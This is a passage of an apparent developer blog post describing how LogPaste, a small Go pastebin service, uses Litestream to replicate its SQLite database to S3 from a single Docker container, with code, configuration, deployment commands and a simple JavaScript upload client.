&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#999;font-style:italic">// Generate a random entry ID.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> id := &lt;span style="color:#447fcf">generateEntryId&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#999;font-style:italic">// Store the PUT body in the SQLite database.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> err = s.store.&lt;span style="color:#447fcf">InsertEntry&lt;/span>(id, body)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> err != &lt;span style="color:#6ab825;font-weight:bold">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> http.&lt;span style="color:#447fcf">Error&lt;/span>(w, &lt;span style="color:#ed9d13">&amp;#34;can&amp;#39;t save entry&amp;#34;&lt;/span>, http.StatusInternalServerError)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">return&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#999;font-style:italic">// Send a JSON response with the ID we generated.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> w.&lt;span style="color:#447fcf">Header&lt;/span>().&lt;span style="color:#447fcf">Set&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;Content-Type&amp;#34;&lt;/span>, &lt;span style="color:#ed9d13">&amp;#34;application/json&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> resp := PastePutResponse{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Id: id,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> err := json.&lt;span style="color:#447fcf">NewEncoder&lt;/span>(w).&lt;span style="color:#447fcf">Encode&lt;/span>(resp); err != &lt;span style="color:#6ab825;font-weight:bold">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#24909d">panic&lt;/span>(err)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The &lt;a href="https://github.com/mtlynch/logpaste/blob/master/store/sqlite/sqlite.go#L56L75">&lt;code>InsertEntry&lt;/code> implementation&lt;/a> looks how you&amp;rsquo;d expect. It&amp;rsquo;s a basic SQLite row insertion:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">func&lt;/span> (d db) &lt;span style="color:#447fcf">InsertEntry&lt;/span>(id &lt;span style="color:#6ab825;font-weight:bold">string&lt;/span>, contents &lt;span style="color:#6ab825;font-weight:bold">string&lt;/span>) &lt;span style="color:#6ab825;font-weight:bold">error&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> _, err := d.ctx.&lt;span style="color:#447fcf">Exec&lt;/span>(&lt;span style="color:#ed9d13">`
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> INSERT INTO entries(
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> id,
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> creation_time,
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> contents)
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> values(?,?,?)`&lt;/span>, id, time.&lt;span style="color:#447fcf">Now&lt;/span>().&lt;span style="color:#447fcf">Format&lt;/span>(time.RFC3339), contents)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> err
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>This allows LogPaste to accept HTTP requests from the command line like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ curl -X PUT -d &lt;span style="color:#ed9d13">&amp;#34;Hello, world!&amp;#34;&lt;/span> http://localhost:3001
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>{&lt;span style="color:#ed9d13">&amp;#34;id&amp;#34;&lt;/span>:&lt;span style="color:#ed9d13">&amp;#34;fFnL9cU6&amp;#34;&lt;/span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ curl http://localhost:3001/fFnL9cU6
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Hello, world!
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>That works, but it&amp;rsquo;s writing the SQLite database to the local filesystem. I needed to integrate Litestream to enable cloud storage.&lt;/p>
&lt;h2 id="layering-in-litestream-for-cloud-data-syncing">Layering in Litestream for cloud data syncing&lt;/h2>
&lt;p>One of Litestream&amp;rsquo;s biggest strengths is that it&amp;rsquo;s completely independent of the application it serves. My LogPaste code never calls into a Litestream API, nor does it require any special configuration to allow syncing. Litestream quietly does its job in the background.&lt;/p>
&lt;p>I created &lt;a href="https://hub.docker.com/r/mtlynch/logpaste/">a custom Docker image&lt;/a> to combine Litestream and LogPaste. Generally, Docker images should hold Just One Service, but I sometimes bend this rule to facilitate deployment. It&amp;rsquo;s orders of magnitude easier to deploy a single, independent Docker container than two containers that need to coordinate with each other.&lt;/p>
&lt;p>LogPaste&amp;rsquo;s &lt;a href="https://github.com/mtlynch/logpaste/blob/a9d9b39e4b78401c68cd54ed3d2fd40838dd7b8b/Dockerfile">Dockerfile&lt;/a> starts by building the LogPaste binary from source, and then it pulls down the Linux executable for Litestream.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-Dockerfile" data-lang="Dockerfile">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Build LogPaste from source&lt;/span>&lt;span style="color:#a61717;background-color:#e3d2d2">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#a61717;background-color:#e3d2d2">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">RUN&lt;/span> go build &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> -mod=&lt;span style="color:#24909d">readonly&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> -v &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> -o /app/server &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> ./main.go&lt;span style="color:#a61717;background-color:#e3d2d2">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#a61717;background-color:#e3d2d2">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#a61717;background-color:#e3d2d2">&lt;/span>&lt;span style="color:#999;font-style:italic"># Download Litestream executable&lt;/span>&lt;span style="color:#a61717;background-color:#e3d2d2">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#a61717;background-color:#e3d2d2">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">RUN&lt;/span> wget &lt;span style="color:#ed9d13">&amp;#34;https://github.com/benbjohnson/litestream/releases/download/v&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">litestream_version&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">/&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">litestream_deb_filename&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#a61717;background-color:#e3d2d2">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Next, Docker copies a custom &lt;code>litestream.yml&lt;/code> file into the image. This is Litestream&amp;rsquo;s &lt;a href="https://litestream.io/reference/config/">configuration file&lt;/a>.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-yaml" data-lang="yaml">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">access-key-id&lt;/span>:&lt;span style="color:#666"> &lt;/span>${LITESTREAM_ACCESS_KEY_ID}&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">secret-access-key&lt;/span>:&lt;span style="color:#666"> &lt;/span>${LITESTREAM_SECRET_ACCESS_KEY}&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">dbs&lt;/span>:&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>- &lt;span style="color:#6ab825;font-weight:bold">path&lt;/span>:&lt;span style="color:#666"> &lt;/span>${DB_PATH}&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">replicas&lt;/span>:&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>- &lt;span style="color:#6ab825;font-weight:bold">url&lt;/span>:&lt;span style="color:#666"> &lt;/span>${DB_REPLICA_URL}&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The &lt;code>replicas.url&lt;/code> field contains the cloud storage location for my database. &lt;code>access-key-id&lt;/code> and &lt;code>secret-access-key&lt;/code> are the IAM-style credentials Litestream needs to access the cloud storage bucket.&lt;/p>
&lt;p>You can hardcode these values into the configuration file, but Litestream supports environment variables and interpolates them at runtime. That&amp;rsquo;s a convenient feature, as it allows you to keep your &lt;code>litestream.yml&lt;/code> file under source control without storing any sensitive credentials. It also makes the Docker image portable — anyone can create their own LogPaste server by reusing &lt;a href="https://hub.docker.com/r/mtlynch/logpaste/">my image&lt;/a> and setting environment variables for their cloud storage bucket.&lt;/p>
&lt;p>The next bit of Litestream logic is in LogPaste&amp;rsquo;s &lt;a href="https://github.com/mtlynch/logpaste/blob/a9d9b39e4b78401c68cd54ed3d2fd40838dd7b8b/docker_entrypoint">&lt;code>docker_entrypoint&lt;/code> script&lt;/a>, which runs when the Docker container launches. It starts by pulling down the app&amp;rsquo;s latest database snapshot from cloud storage:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Restore database from S3.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>litestream restore -if-replica-exists -v &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">DB_PATH&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The &lt;code>-if-replica-exists&lt;/code> flag tells Litestream that it&amp;rsquo;s okay if no snapshots exist on cloud storage yet. Otherwise, you&amp;rsquo;d have a chicken-and-egg problem. Your app could never launch because there&amp;rsquo;s no cloud database to restore, but Litestream can&amp;rsquo;t replicate the database to cloud storage because the app has never run.&lt;/p>
&lt;p>Next, the entrypoint script spawns a Litestream process, which watches LogPaste&amp;rsquo;s SQLite database and continuously streams any changes to cloud storage:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Begin replication to S3 in the background.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>litestream replicate &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">DB_PATH&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">DB_REPLICA_URL&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &amp;amp;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The minor hack is in that trailing &lt;code>&amp;amp;&lt;/code>. It tells the script to run the Litestream process in the background, which is how I can execute two long-running processes in the same Docker container. Ben Johnson has published &lt;a href="https://github.com/benbjohnson/litestream-s6-example">a cleaner solution&lt;/a>, but I&amp;rsquo;m using the hacky version for ease of demonstration.&lt;/p>
&lt;p>The entrypoint script ends by launching the Logpaste app, which is a simple HTTP server:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Start LogPaste server.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>/app/server
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>To run the Docker container with all the environment variables populated, I use &lt;a href="https://github.com/mtlynch/logpaste#from-docker--cloud-data-replication">this command&lt;/a>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">LITESTREAM_ACCESS_KEY_ID&lt;/span>=MY-ACCESS-ID
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">LITESTREAM_SECRET_ACCESS_KEY&lt;/span>=MY-SECRET-ACCESS-KEY
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">DB_REPLICA_URL&lt;/span>=s3://my-bucket-name/db
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>docker run &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> -e &lt;span style="color:#ed9d13">&amp;#34;PORT=3001&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> -e &lt;span style="color:#ed9d13">&amp;#34;LITESTREAM_ACCESS_KEY_ID=&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">LITESTREAM_ACCESS_KEY_ID&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> -e &lt;span style="color:#ed9d13">&amp;#34;LITESTREAM_SECRET_ACCESS_KEY=&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">LITESTREAM_SECRET_ACCESS_KEY&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> -e &lt;span style="color:#ed9d13">&amp;#34;DB_REPLICA_URL=&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">DB_REPLICA_URL&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> -p 3001:3001/tcp &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --name logpaste &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> mtlynch/logpaste
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Here&amp;rsquo;s how it all fits together in production:&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 750px">



 &lt;a href="https://mtlynch.io/litestream/diagram.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 750px, 98vw"
 srcset='https://mtlynch.io/litestream/diagram_hu_65d5a2ff20b68391.jpg 300w, https://mtlynch.io/litestream/diagram_hu_462cf0f2bcc21969.jpg 600w, https://mtlynch.io/litestream/diagram_hu_a90dd8e015855062.jpg 800w, https://mtlynch.io/litestream/diagram.jpg 1024w'
 src="https://mtlynch.io/litestream/diagram.jpg" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>How LogPaste, Litestream, Docker, and S3 all fit together&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h2 id="logpaste-demo">LogPaste demo&lt;/h2>
&lt;p>Users can upload to LogPaste from the command line, but it&amp;rsquo;s also easy to integrate with other web apps. Here&amp;rsquo;s a simple HTML client for LogPaste that runs against &lt;a href="https://logpaste.com/">my demo instance&lt;/a>:&lt;/p>
&lt;div class="demo">
&lt;div class="upload-form">
 &lt;textarea id="upload-textarea" placeholder="Enter some text">&lt;/textarea>
 &lt;button class="button" id="upload">Upload&lt;/button>
&lt;/div>
&lt;a id="result">&lt;/a>
&lt;div id="error">&lt;/div>
&lt;/div>
&lt;script src="https://logpaste.com/static/js/logpaste.js">&lt;/script>
&lt;script>
const baseUrl = 'https://logpaste.com';
document.getElementById("upload").addEventListener("click", (evt) => {
 const resultElement = document.getElementById("result");
 const errorElement = document.getElementById("error");
 resultElement.innerText = "";
 errorElement.innerText = "";
 const textToUpload = document.getElementById("upload-textarea").value;
 logpaste
 .uploadText(textToUpload, baseUrl)
 .then((id) => {
 const url = `${baseUrl}/${id}`;
 resultElement.innerText = url;
 resultElement.href = url;
 })
 .catch((error) => {
 errorElement.innerText = error;
 });
});
&lt;/script>
&lt;p>The client-side code is less than 30 lines of HTML and JavaScript:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-html" data-lang="html">&lt;span style="display:flex;">&lt;span>&amp;lt;&lt;span style="color:#6ab825;font-weight:bold">div&lt;/span> &lt;span style="color:#bbb">class&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;upload-form&amp;#34;&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &amp;lt;&lt;span style="color:#6ab825;font-weight:bold">textarea&lt;/span> &lt;span style="color:#bbb">id&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;upload-textarea&amp;#34;&lt;/span> &lt;span style="color:#bbb">placeholder&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;Enter some text&amp;#34;&lt;/span>&amp;gt;&amp;lt;/&lt;span style="color:#6ab825;font-weight:bold">textarea&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &amp;lt;&lt;span style="color:#6ab825;font-weight:bold">button&lt;/span> &lt;span style="color:#bbb">class&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;button&amp;#34;&lt;/span> &lt;span style="color:#bbb">id&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;upload&amp;#34;&lt;/span>&amp;gt;Upload&amp;lt;/&lt;span style="color:#6ab825;font-weight:bold">button&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;/&lt;span style="color:#6ab825;font-weight:bold">div&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;&lt;span style="color:#6ab825;font-weight:bold">a&lt;/span> &lt;span style="color:#bbb">id&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;result&amp;#34;&lt;/span>&amp;gt;&amp;lt;/&lt;span style="color:#6ab825;font-weight:bold">a&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;&lt;span style="color:#6ab825;font-weight:bold">div&lt;/span> &lt;span style="color:#bbb">id&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;error&amp;#34;&lt;/span>&amp;gt;&amp;lt;/&lt;span style="color:#6ab825;font-weight:bold">div&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;&lt;span style="color:#6ab825;font-weight:bold">script&lt;/span> &lt;span style="color:#bbb">src&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;https://logpaste.com/static/js/logpaste.js&amp;#34;&lt;/span>&amp;gt;&amp;lt;/&lt;span style="color:#6ab825;font-weight:bold">script&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;&lt;span style="color:#6ab825;font-weight:bold">script&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">const&lt;/span> baseUrl = &lt;span style="color:#ed9d13">&amp;#34;https://logpaste.com&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#24909d">document&lt;/span>.getElementById(&lt;span style="color:#ed9d13">&amp;#34;upload&amp;#34;&lt;/span>).addEventListener(&lt;span style="color:#ed9d13">&amp;#34;click&amp;#34;&lt;/span>, (evt) =&amp;gt; {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">const&lt;/span> resultElement = &lt;span style="color:#24909d">document&lt;/span>.getElementById(&lt;span style="color:#ed9d13">&amp;#34;result&amp;#34;&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">const&lt;/span> errorElement = &lt;span style="color:#24909d">document&lt;/span>.getElementById(&lt;span style="color:#ed9d13">&amp;#34;error&amp;#34;&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> resultElement.innerText = &lt;span style="color:#ed9d13">&amp;#34;&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> errorElement.innerText = &lt;span style="color:#ed9d13">&amp;#34;&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">const&lt;/span> textToUpload = &lt;span style="color:#24909d">document&lt;/span>.getElementById(&lt;span style="color:#ed9d13">&amp;#34;upload-textarea&amp;#34;&lt;/span>).value;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> logpaste
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> .uploadText(textToUpload, baseUrl)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> .then((id) =&amp;gt; {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">const&lt;/span> url = &lt;span style="color:#ed9d13">`&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>baseUrl&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">/&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>id&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">`&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> resultElement.innerText = url;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> resultElement.href = url;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> })
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> .&lt;span style="color:#6ab825;font-weight:bold">catch&lt;/span>((error) =&amp;gt; {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> errorElement.innerText = error;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> });
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> });
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;/&lt;span style="color:#6ab825;font-weight:bold">script&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="using-logpaste-in-production">Using LogPaste in production&lt;/h2>
&lt;p>I&amp;rsquo;m using LogPaste in production for &lt;a href="https://tinypilotkvm.com">TinyPilot&lt;/a>, my open-source KVM over IP device. Because users run my software on devices they own, I can&amp;rsquo;t see any diagnostic information when they report issues. LogPaste provides a convenient way for users to share their logs with me.&lt;/p>




&lt;figure class="video">
 &lt;div class="video-inner">
 &lt;video controls>
 &lt;source src="tinypilot-shareable-log.mp4" type="video/mp4">
 Your browser does not support the video tag.
 &lt;/video>
 
 &lt;figcaption>&lt;p>TinyPilot uses LogPaste to let users generate URLs for their debug logs.&lt;/p>&lt;/figcaption>
 
 &lt;/div>
&lt;/figure>

&lt;p>LogPaste has handled all of TinyPilot&amp;rsquo;s debug logs for the past few months, and it&amp;rsquo;s worked well. The cost for data replication truly is just $0.03 per month:&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/litestream/aws-bill.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/litestream/aws-bill_hu_6100f5fc47f6e7f3.png 300w, https://mtlynch.io/litestream/aws-bill_hu_aee1de25490dacbe.png 600w, https://mtlynch.io/litestream/aws-bill_hu_bcd626d401197d28.png 800w, https://mtlynch.io/litestream/aws-bill.png 943w'
 src="https://mtlynch.io/litestream/aws-bill.png" alt="Screenshot of AWS bill showing $0.03 in S3 charges and $0.00 in data transfer fees" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>My use case is, admittedly, fairly gentle. Only a handful of users upload their logs each day, so there may be pain points with this setup under heavier workloads.&lt;/p>
&lt;p>It&amp;rsquo;s also important to note that Litestream can&amp;rsquo;t resolve conflicts between multiple database writes, so each database can have only one application server with write access.&lt;/p>
&lt;p>Still, I&amp;rsquo;ve been incredibly impressed with Litestream, and I&amp;rsquo;m eager to use it in more scenarios.&lt;/p>
&lt;h2 id="self-hosting-logpaste">Self-hosting LogPaste&lt;/h2>
&lt;p>If you want to host your own instance of my LogPaste app, it&amp;rsquo;s easy to deploy. You can even customize the text on the homepage so that it says your product&amp;rsquo;s name instead of &amp;ldquo;LogPaste.&amp;rdquo;&lt;/p>
&lt;p>For example, here&amp;rsquo;s TinyPilot&amp;rsquo;s version:&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 680px">



 &lt;a href="https://mtlynch.io/litestream/tinypilot-branding.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 680px, 98vw"
